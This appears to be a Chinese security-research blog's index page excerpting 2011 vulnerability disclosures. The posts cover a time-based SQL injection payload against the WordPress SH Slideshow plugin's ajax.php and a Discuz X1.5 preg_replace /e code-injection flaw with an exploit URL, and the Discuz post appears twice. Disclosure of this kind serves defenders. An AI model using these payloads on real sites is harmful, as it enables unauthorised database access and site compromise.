SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-02
1.WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
Date: 2011-08-29
Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip
Version: 3.1.4 (tested)
PoC (POST data)
http://www.xxxxx.com/wp-content/plugins/sh-slideshow/ajax.php
id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
Vulnerable code
$result = $wpdb->query(''delete from sh_slides where id = ''.$_POST[''id'']);
2.WordPress iCopyright(R) Article Tools plugin <= 1......
阅读全文 →
2011-09-02
作者：晴天小铸
测试环境：discuz X1.5+nginx 1.0
漏洞文件source/function/function_core.php，代码：
$_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href="([^"]+)"/e", "rewriteoutput('site_default', 0, '".$_G['setting']['domain']['app']['default'].$port.$_G['siteroot']."', '\1')", $content);
利用代码：
http://www.xxx.com/forum.php/admin.php’/DDDDDDD.php
阅读全文 →
2011-09-02
作者：晴天小铸
测试环境：discuz X1.5+nginx 1.0
漏洞文件source/function/function_core.php，代码：
$_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href="([^"]+)"/e", "rewriteoutput('site_default', 0, '".$_G['setting']['domain']['app']['default'].$port.$_G['siteroot']."', '\1')", $content);
利用代码：
http://www.xxx.com/forum.php/admin.php’/DDDDDDD.php
阅读全文 →